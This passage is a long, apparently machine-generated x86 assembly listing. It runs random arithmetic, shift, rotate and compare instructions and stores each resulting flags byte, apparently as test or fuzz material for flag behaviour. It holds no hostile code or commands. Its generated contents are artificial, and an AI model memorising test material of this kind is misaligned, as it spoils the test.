inc edi
mov eax, 0xe06b0fd2
shl eax, 1
mov ecx, 0x6786c82a
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xd4325ce2
rol ebx, 1
mov eax, 0xbdf5ce41
mov ecx, 0x7f2cc1d4
ror eax, cl
mov eax, 0xc2560ed6
aaa
mov edx, 0x5c3e81b8
inc edx
mov edx, 0xfe97c9aa
mov ecx, 0xb516e1c1
ror edx, cl
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0xd86833e7
mov ebx, 0x4818617
cmp edx, ebx
mov eax, 0x930946bb
mov ecx, 0xec10b3f2
rol eax, cl
mov edx, 0x75275735
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xf72a826b
mov edx, 0x391b41c3
cmp ebx, edx
mov eax, 0xca645439
aas
mov edx, 0x20e75778
inc edx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0xd56c6e7
mov ecx, 0xdb712603
shl edx, cl
mov eax, 0x41769136
aas
mov eax, 0xec49ab63
mov ecx, 0xe250f38b
rol eax, cl
mov eax, 0x48998d2c
aaa
mov eax, 0x54364f45
shl eax, 1
mov ebx, 0x1c2e1fbd
mov ecx, 0xfea93c2f
ror ebx, cl
mov ebx, 0x35b544d1
cmp ebx, 0x344a8a6f
lahf
mov byte [edi], ah
inc edi
mov eax, 0x666da21f
aas
mov eax, 0x43fa2b65
dec eax
mov eax, 0xa5c6f8b3
mov ecx, 0xcfa1e49a
rol eax, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0x7a02ea5f
dec ebx
mov ebx, 0x396f51fd
rol ebx, 1
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0x7f260b39
mov ecx, 0xb2816854
ror eax, cl
mov ecx, 0xcfe59ba6
mov ebx, 0x7aba097c
cmp ecx, ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x7f99ce34
sub eax, 0x225e5491
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x225513
mov eax, 0x9ab3bf6d
sub ebx, eax
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0x58863ca
rol ebx, 1
mov ebx, 0x285df8e4
dec ebx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0xf1f668eb
mov ecx, 0xee918770
rol ebx, cl
mov ebx, 0xa48d78e0
dec ebx
mov edx, 0x50bce09b
mov ecx, 0x14af4cb7
rol edx, cl
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ecx, 0x9efa0f7e
mov ebx, 0xcab9cb6
cmp ecx, ebx
mov edx, 0x1c6284f4
inc edx
mov edx, 0xd5ba53e8
mov ecx, 0xb6e532ef
ror edx, cl
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0x4ce6044e
add ebx, 0x22790a9
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0x126c5226
mov ecx, 0xf1f1072
rol edx, cl
mov eax, 0xbb967239
mov ecx, 0x5ab10fd7
ror eax, cl
mov eax, 0x6c2bddbb
dec eax
mov edx, 0xa0070d82
mov ecx, 0x364660f6
ror edx, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x5c0b8cca
sar edx, 0xbf
mov edx, 0x94b76ba0
mov ecx, 0x4fb67595
sar edx, cl
mov ebx, 0x658fbb70
dec ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x93d652de
rol eax, 1
mov edx, 0xa1b06ec2
rol edx, 1
mov ebx, 0x604f9d0
dec ebx
mov edx, 0xab888e6a
rol edx, 1
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x5b59a5a2
add ecx, 0x331e3dcc
mov eax, 0x632a5504
aas
mov ebx, 0x6b8eae4
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x6c85c4f3
mov ecx, 0x8dfc373c
sar ebx, cl
mov edx, 0xdce7ee10
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x81dfaa22
inc ecx
mov eax, 0x37716076
mov ecx, 0x4118aea9
rol eax, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x204817fb
mov ecx, 0x7aeb3d35
sal edx, cl
mov ecx, 0x89195c4f
dec ecx
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0x87242e53
shl edx, 1
mov edx, 0xc843b94f
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x54ac209
mov ecx, 0xaab5705b
ror ebx, cl
mov eax, 0x7b6ddbe3
mov ecx, 0x67841749
ror eax, cl
mov eax, 0xc849cd9f
inc eax
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0xc904c03d
sal ebx, 0x42
mov eax, 0x90dfa705
neg eax
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x11c0e1b9
mov ebx, 0x3ef9f9b5
sub ecx, ebx
mov eax, 0xd431934a
aaa
mov edx, 0xa36702dd
rol edx, 1
mov edx, 0x3457f000
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x574f72d7
mov ecx, 0x9dae82a9
ror eax, cl
mov ebx, 0x470c768f
inc ebx
mov eax, 0xc7f89c6f
mov ecx, 0x335b635a
rol eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x5d09fdef
mov ebx, 0x8b0e4b39
sub edx, ebx
mov eax, 0xa2157a1f
rol eax, 1
mov ebx, 0x4a91f665
dec ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xdad020d9
mov ecx, 0xea936e97
ror ebx, cl
mov eax, 0x33e8e45e
mov ecx, 0x190bc1f0
rol eax, cl
mov edx, 0x376572f
inc edx
mov edx, 0xe102bbff
mov ecx, 0x424d826a
rol edx, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov ecx, 0xd2674ef3
mov ebx, 0x2814ca96
sub ecx, ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x264f4886
mov ecx, 0x48aedfa6
sal eax, cl
mov eax, 0x7b419f20
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0xae218dd8
mov edx, 0x624678d6
cmp ecx, edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xc4ff745b
aaa
mov ebx, 0x85cdb530
inc ebx
mov edx, 0x580bee5f
rol edx, 1
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0xac32b35c
rol eax, 1
mov edx, 0x972ce6bf
dec edx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0xd73d374
inc eax
mov edx, 0x235c1a6d
mov ecx, 0xdcfae78
rol edx, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0xe7c72b51
mov ecx, 0xc506c45a
rol eax, cl
mov ebx, 0x487c7d0f
mov ecx, 0x136f04a5
sal ebx, cl
mov eax, 0x4d03d807
inc eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0x2d652319
shl ebx, 1
mov eax, 0x4f4a4cc
dec eax
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xb2ec1714
cmp ebx, 0x46b570dc
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0x20239801
shl ebx, 1
mov ebx, 0x174cedfc
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x614eeec9
mov ecx, 0xa449e39b
rol eax, cl
mov edx, 0x3c05e1f1
inc edx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0x34a4fa52
mov ecx, 0xf737b7bc
ror edx, cl
mov eax, 0x982859f3
shl eax, 1
mov eax, 0x93cd00ff
neg eax
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0xd60b0f51
inc ecx
mov eax, 0xc7e7b245
mov ecx, 0x91a6986f
rol eax, cl
lahf
mov byte [edi], ah
inc edi
mov edx, 0x2f7e99ad
mov ecx, 0xd390e72
ror edx, cl
mov ecx, 0xddc05e19
mov ebx, 0x1af93514
cmp ecx, ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xa3167d1e
mov ecx, 0x3031c829
rol eax, cl
mov edx, 0x1bfac880
mov ecx, 0x2e25545b
ror edx, cl
mov ecx, 0xfdc6c8a3
inc ecx
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0x3114b96a
add eax, 0x2dbd56a3
mov eax, 0xd45f90cd
aaa
mov edx, 0xee580734
add edx, 0x7bb1e238
mov eax, 0xd8221d3a
aas
mov ebx, 0xa1a539f0
dec ebx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0x6bcca018
inc edx
mov edx, 0x49f68dd2
mov ecx, 0xa6912119
rol edx, cl
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0x96c973b1
mov ecx, 0xa6d07c33
rol eax, cl
mov ecx, 0xcdae8cd
inc ecx
mov edx, 0x1a83d869
mov ecx, 0x5d32cbf0
rol edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xe8c44ec5
cmp edx, 0x3ada2c8
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x1248183f
mov ecx, 0xf4eb9929
ror eax, cl
mov edx, 0xaf41a57
inc edx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xc48cc584
shl edx, 1
mov eax, 0x1924cb4d
dec eax
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0x239a9848
inc eax
mov ebx, 0x1354eabb
mov ecx, 0x62a762b8
rol ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xf984ec73
mov ecx, 0xa56d837f
cmp edx, ecx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x760fe3e1
sal edx, 0xa1
mov edx, 0xa21d96e
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xa1cdbabe
mov eax, 0x8a82ca05
sub ebx, eax
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x6ea8b64
mov ecx, 0x2ed55861
sal edx, cl
mov eax, 0xa7b66cf3
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xbbc28bc
mov eax, 0x7745730c
sub ebx, eax
mov eax, 0xd5e504cb
rol eax, 1
mov ebx, 0xecd34371
mov eax, 0x50102bdc
cmp ebx, eax
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x50b365fe
add eax, 0x1670c751
lahf
xchg al, ah
stosb byte es:[edi], al
mov ecx, 0x1034bcb7
inc ecx
mov eax, 0xfba0e8ce
mov ecx, 0xcca36dbc
rol eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x19692cc5
sub edx, 0xffee6ddf
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x61525df3
shl ebx, 1
mov ecx, 0x409e54c2
dec ecx
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0xc5767ad7
mov ecx, 0xe011ec21
rol ebx, cl
mov edx, 0x65fead7e
shl edx, 0x84
mov ebx, 0x36d6b387
dec ebx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0xd7298366
rol edx, 1
mov edx, 0x526b3681
rol edx, 1
mov ebx, 0xa39dbdde
rol ebx, 1
mov eax, 0x1ad4b992
mov edx, 0x347d1b5a
add eax, edx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x48fc3f42
inc edx
mov ebx, 0xe3291b0
mov ecx, 0x263dd217
ror ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x31c4a95c
mov ecx, 0x34d79e2a
ror ebx, cl
mov edx, 0x113a0ae7
dec edx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x8d9241fa
inc eax
mov ebx, 0x3cead4c6
mov ecx, 0x7cd579b2
rol ebx, cl
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0xa9c0b53a
mov ecx, 0xdf43822f
sal edx, cl
mov eax, 0x384ed6ad
mov ecx, 0x7749e5dc
ror eax, cl
mov edx, 0x50550784
mov ecx, 0x5f0c7cd6
ror edx, cl
mov edx, 0xcbe90df7
cmp edx, 0x6e51d9
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xadff6180
inc ebx
mov edx, 0x2b1b4c3c
rol edx, 1
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x508c70e0
mov ecx, 0xf1bfcc13
rol ebx, cl
mov edx, 0xfa4269c8
inc edx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0xf4bc6a5e
aas
mov ecx, 0xb66c337
inc ecx
mov edx, 0x77f23418
mov ecx, 0x1efdaa1c
ror edx, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov ecx, 0x134a0eab
add ecx, 0xf2bb13f3
mov eax, 0xff97b964
aaa
mov ebx, 0x76982fc
inc ebx
lahf
xchg al, ah
stosb byte es:[edi], al
mov ecx, 0xabb903
dec ecx
mov eax, 0x169ec62b
rol eax, 1
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0x5b7629c5
mov ecx, 0xe116e90
ror edx, cl
mov ebx, 0x7a4dc756
inc ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xbd7c1df5
rol ebx, 1
mov eax, 0x90bdea07
mov ecx, 0x401491e6
rol eax, cl
mov edx, 0x7bb93c21
dec edx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0x7640e94c
sal edx, 1
mov ecx, 0x6eb13daa
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x929c73f6
mov ecx, 0xb20f1010
rol eax, cl
mov ecx, 0xd985fd10
dec ecx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x6824554c
neg ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x17af0a63
mov ecx, 0xa38edbc4
rol edx, cl
mov ebx, 0x67ec89b9
mov ecx, 0x4a9f068f
sar ebx, cl
mov edx, 0xba31037e
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xeefc8d
sal edx, 1
mov ebx, 0x41757452
rol ebx, 1
mov edx, 0x8a96523e
mov ecx, 0x5b172c2
shl edx, cl
mov ebx, 0x55908d05
rol ebx, 1
mov eax, 0xec9e1dc3
mov ecx, 0xad97727
rol eax, cl
mov eax, 0xefdc2a19
aas
mov ebx, 0x9e612eaa
rol ebx, 1
mov eax, 0x675e6706
rol eax, 1
mov ebx, 0xd89c4eb0
rol ebx, 1
mov ebx, 0x9da2067
shl ebx, 1
mov eax, 0x67dbe0cd
mov ecx, 0xa8eae31a
rol eax, cl
mov eax, 0x6c69cd90
neg eax
mov edx, 0x32888f3
mov ecx, 0xb841f35e
add edx, ecx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ecx, 0xdf6c11bf
mov eax, 0x39353e4d
sub ecx, eax
mov eax, 0x8ab38ffb
aas
mov ebx, 0x128305ba
mov ecx, 0x3532388a
rol ebx, cl
mov ebx, 0x7971d78e
mov eax, 0x5356cf10
sub ebx, eax
mov eax, 0x6530353a
aas
mov ecx, 0x6c89a23f
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x3766a8b9
mov ecx, 0x23c1701b
ror ebx, cl
mov eax, 0x89f9d15f
mov ecx, 0xa8c07dc1
ror eax, cl
mov eax, 0x669b644f
inc eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0xa5020995
rol edx, 1
mov ebx, 0x497c6378
mov ecx, 0x786f08fd
rol ebx, cl
mov ebx, 0xe7fec7b1
dec ebx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0xfbc58fcc
aaa
mov eax, 0x19584ef1
shl eax, 1
mov edx, 0x7304180a
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x88880309
sar eax, 0xd7
mov eax, 0x9e56bf04
mov ecx, 0x1071f6c9
ror eax, cl
mov eax, 0x72de2c70
dec eax
mov ebx, 0x4878e350
rol ebx, 1
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xaf45d7af
inc edx
mov eax, 0x9a7bedd
rol eax, 1
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x5d9944dc
shl edx, 0xe5
mov edx, 0xbd0f5381
neg edx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xf146299c
mov ecx, 0x1921e874
ror edx, cl
mov eax, 0xc4a31af1
aas
mov ebx, 0x9adac841
mov edx, 0x8b0b5fb9
add ebx, edx
mov eax, 0xd09496e6
aaa
mov ebx, 0x6e8a9f26
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xd3a9033a
inc ebx
mov eax, 0x50488670
rol eax, 1
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xddde504f
mov ecx, 0xf919b612
rol ebx, cl
mov eax, 0xe4dbf9b6
inc eax
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xdc4265c9
mov ecx, 0x228df9fe
ror ebx, cl
mov edx, 0x4f7f2896
mov ecx, 0x989e7f85
ror edx, cl
mov edx, 0xd026feb6
cmp edx, 0x6467caa6
mov eax, 0x7b80d554
aaa
mov ecx, 0x795fd3f1
inc ecx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xc4b0ec3d
mov ecx, 0xcff3a793
rol edx, cl
mov ebx, 0x3bba9f4b
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x8812d469
rol eax, 1
mov edx, 0xce95c48
inc edx
mov eax, 0x8ea5a10b
mov ecx, 0x649c9d35
ror eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x98a4274
mov ecx, 0x17f5e9bb
sar eax, cl
mov ecx, 0x6592c380
dec ecx
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0xb9ec7503
mov ecx, 0xa49f5627
sal eax, cl
mov edx, 0x44318d44
inc edx
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0x6cb4ad7a
shl ebx, 1
mov ebx, 0x33234a4b
dec ebx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0xe98b9aee
shl ebx, 1
mov eax, 0x5b262e50
inc eax
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0xa8fe2ead
cmp ebx, 0x885ffbe2
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0xed74f545
mov eax, 0xa29dd8d7
add edx, eax
mov eax, 0x8855ec19
aaa
mov ebx, 0xf7f866b0
inc ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xa2d31edf
mov ecx, 0x94c249a5
ror edx, cl
mov edx, 0xbb3c6672
inc edx
mov edx, 0x4f28ba4e
rol edx, 1
lahf
mov byte [edi], ah
inc edi
mov eax, 0x586ee526
sub eax, 0x5b0f9359
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0x2ae75368
sub edx, 0xd6941616
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0x3ef55d9e
mov ecx, 0x642c74be
rol ebx, cl
mov eax, 0xcc4c0e7
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xcbc0d4c
sub edx, 0xe4456aaa
mov edx, 0x26495015
mov eax, 0xbb4eb021
sub edx, eax
mov edx, 0x5e3ce280
neg edx
mov eax, 0x535cef2f
rol eax, 1
mov ecx, 0xbd16c680
dec ecx
mov eax, 0x58ee8e6a
rol eax, 1
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0xf1aa2a70
neg eax
mov eax, 0xdd119a59
aaa
mov edx, 0x394da76e
dec edx
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0x787cbc59
rol edx, 1
mov ebx, 0xa65f9f98
sar ebx, 0x11
mov eax, 0x37f124c7
inc eax
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0x8ac20a14
mov ecx, 0x7b0d7424
shl edx, cl
mov edx, 0x372f9598
dec edx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0x3bd4d837
mov ecx, 0xdd275261
shl ebx, cl
mov eax, 0x86c794f0
mov ecx, 0x8006f2e4
rol eax, cl
mov ebx, 0xc2d94780
neg ebx
mov eax, 0x4eae84ee
mov ecx, 0x6b29d074
rol eax, cl
mov ebx, 0x5c36d790
dec ebx
mov edx, 0xb2090b92
mov ecx, 0x27103d47
ror edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xc270fb7
shl edx, 1
mov edx, 0x63729f67
inc edx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ecx, 0x2d962ed2
inc ecx
mov edx, 0x6d7088f3
mov ecx, 0xa3b3afe7
rol edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xdfa34a20
mov ecx, 0x82d28f85
ror eax, cl
mov ecx, 0xb8cc3ce8
inc ecx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0x79ef6a11
shl edx, 1
mov edx, 0xb3f5bd2f
inc edx
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0x6cad3387
mov ecx, 0x55c400ad
rol eax, cl
mov edx, 0x995c675f
inc edx
mov eax, 0x8b066a49
mov ecx, 0x1e17970
ror eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xf4de6ee0
shl eax, 1
mov eax, 0x5fdb87c1
dec eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0x518e1f22
inc edx
mov ebx, 0x4054e1b2
mov ecx, 0x23a73d8c
rol ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0xe6d9650
inc ecx
mov eax, 0x2469356c
mov ecx, 0x66f0436f
rol eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x20220ab
mov ebx, 0xa71312f8
cmp ecx, ebx
mov eax, 0x1305f415
aas
mov eax, 0x46687d53
dec eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0x83b0addd
add edx, 0xe2290f90
mov eax, 0x2ba6195
aaa
mov eax, 0x2f12ef45
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x108a636c
sal ebx, 2
mov eax, 0x18c42472
inc eax
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x6b65e401
mov ecx, 0xbc5cc099
rol eax, cl
mov edx, 0x3af48b6f
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x67d82bd0
dec eax
mov edx, 0x156db260
rol edx, 1
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0xfbb4bbd2
mov ecx, 0x308700d7
sar edx, cl
mov edx, 0xd44b833f
inc edx
mov eax, 0xd972dd47
mov ecx, 0x167d5dce
rol eax, cl
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0x663b2912
mov ecx, 0x24cacf35
sar eax, cl
mov eax, 0x7ecce630
dec eax
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ecx, 0xf73af8
dec ecx
mov ebx, 0xad8573f1
mov ecx, 0x32fca037
ror ebx, cl
lahf
mov byte [edi], ah
inc edi
mov ecx, 0xe5945130
inc ecx
mov edx, 0x76187b90
mov ecx, 0x45fb0036
rol edx, cl
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ecx, 0xa3ebdd20
inc ecx
mov edx, 0x93c70863
rol edx, 1
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0x103e328a
shl ebx, 0xa6
mov ecx, 0x5133efc7
inc ecx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0xb3abab91
mov ecx, 0x81fa3d74
rol eax, cl
mov edx, 0xa8954c86
mov ecx, 0xf04c2405
rol edx, cl
mov ebx, 0x47ca50c
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x6714ae9e
mov ecx, 0xad675f09
rol edx, cl
mov eax, 0x2afe8069
rol eax, 1
mov ecx, 0x3f98b24e
inc ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x69b0c0d1
mov ecx, 0xe8f34b4a
ror eax, cl
mov ebx, 0x40f4f22a
cmp ebx, 0x301d2c80
mov eax, 0x3ff04bde
sal eax, 1
mov eax, 0x7db96eaf
mov ecx, 0x138098ce
ror eax, cl
mov edx, 0x93dc05a3
cmp edx, 0x2ce575db
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x139dd72b
mov ecx, 0x82748dec
ror ebx, cl
mov ebx, 0xdf6a7d02
mov ecx, 0x1955f14a
ror ebx, cl
mov eax, 0x3bd3971b
inc eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0x4ad4cf62
sal edx, 0x23
mov edx, 0x40403803
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x56e25c0
dec edx
mov ebx, 0x2821f6f6
mov ecx, 0xc6881044
ror ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xdea02a53
rol edx, 1
mov edx, 0xebc90501
mov eax, 0xd2ce1e1e
add edx, eax
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x2d002693
rol eax, 1
mov ebx, 0xf6713676
inc ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x52bf274a
sal eax, 1
mov ebx, 0x8151c4ac
inc ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x2c90d4be
mov ecx, 0x6b539277
rol edx, cl
mov edx, 0xf1cb78a6
mov ecx, 0x649a4bfd
ror edx, cl
mov edx, 0x2313e8b2
mov ecx, 0xee0253ac
ror edx, cl
mov edx, 0xb326d4cc
mov ecx, 0x3681a424
rol edx, cl
mov ecx, 0xdbb20bc0
dec ecx
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0xa6f32f16
sal edx, 1
mov edx, 0x13e503b8
inc edx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0xda9df8dd
sal eax, 1
mov edx, 0x4e0c714
inc edx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x914b6cc0
dec eax
mov eax, 0xd356887
rol eax, 1
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0xa2e7d599
mov ecx, 0xf8a6c58d
rol edx, cl
mov ebx, 0x6000a95e
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x42fb06a5
mov ecx, 0x7c8a118a
ror eax, cl
mov ecx, 0x13d72f7b
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x1978b229
mov ecx, 0xdadbf8c7
shl edx, cl
mov ebx, 0x288e6153
inc ebx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0x1df90b4c
mov ecx, 0xcc077f4
rol eax, cl
mov ebx, 0x2c6f308d
rol ebx, 1
mov ebx, 0x6449230
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x9a5bd620
mov ecx, 0x156a8ac9
ror ebx, cl
mov eax, 0x1e36dbdb
dec eax
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0xe66cafc8
mov ecx, 0x3435b247
add ebx, ecx
mov eax, 0x9704b5f7
aas
mov eax, 0x6f22ffc9
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x7b80759
sal edx, 0xa5
mov ecx, 0xe764bc72
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x53efa1a5
mov ecx, 0x28ce6075
ror ebx, cl
mov edx, 0x3ad532be
mov ecx, 0x638c2b73
ror edx, cl
mov eax, 0xb8b7e130
rol eax, 1
mov edx, 0xa3a8bf0c
sub edx, 0xec16e2f
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x3fc09056
neg ecx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0x38687762
mov ecx, 0x5f8bb327
ror ebx, cl
mov eax, 0x417bc093
mov ecx, 0x650acf8f
shl eax, cl
mov ecx, 0x62c203b0
dec ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x53d446bf
mov ecx, 0x797d14f9
cmp ebx, ecx
mov edx, 0x53cedc72
mov ecx, 0xd0c9fc5e
rol edx, cl
mov eax, 0x25df8550
dec eax
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x8bf9a43b
shl edx, 0x64
mov ecx, 0x6016cbbe
inc ecx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x6569291a
cmp edx, 0x5beea359
lahf
mov byte [edi], ah
inc edi
mov eax, 0xbf10e382
mov edx, 0x6a098b42
sub eax, edx
mov eax, 0x6028e637
aaa
mov ebx, 0x56d409b6
dec ebx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x603b47a2
dec ebx
mov ebx, 0xc517414c
mov ecx, 0x8596084c
ror ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x981b801c
shl ebx, 0xe3
mov eax, 0x3bcd0dd4
dec eax
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0xbe0b62cf
sar eax, 0xd4
mov eax, 0xb23dda38
dec eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0x3e258f4
shl eax, 1
mov eax, 0xc419812f
inc eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0x424c6d41
neg eax
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ecx, 0xa3b13afe
dec ecx
mov edx, 0xc9ed78a8
mov ecx, 0xe004cab0
ror edx, cl
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xe5322abd
cmp ebx, 0x283055c
mov eax, 0x43dfafd2
aaa
mov eax, 0x12f55f0c
inc eax
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xcaa79d74
rol ebx, 1
mov edx, 0x7d3e413c
rol edx, 1
mov ebx, 0x3cb55a08
dec ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x4184d4fe
dec eax
mov eax, 0x5369b0b1
mov ecx, 0xf1f05edf
rol eax, cl
pushfd
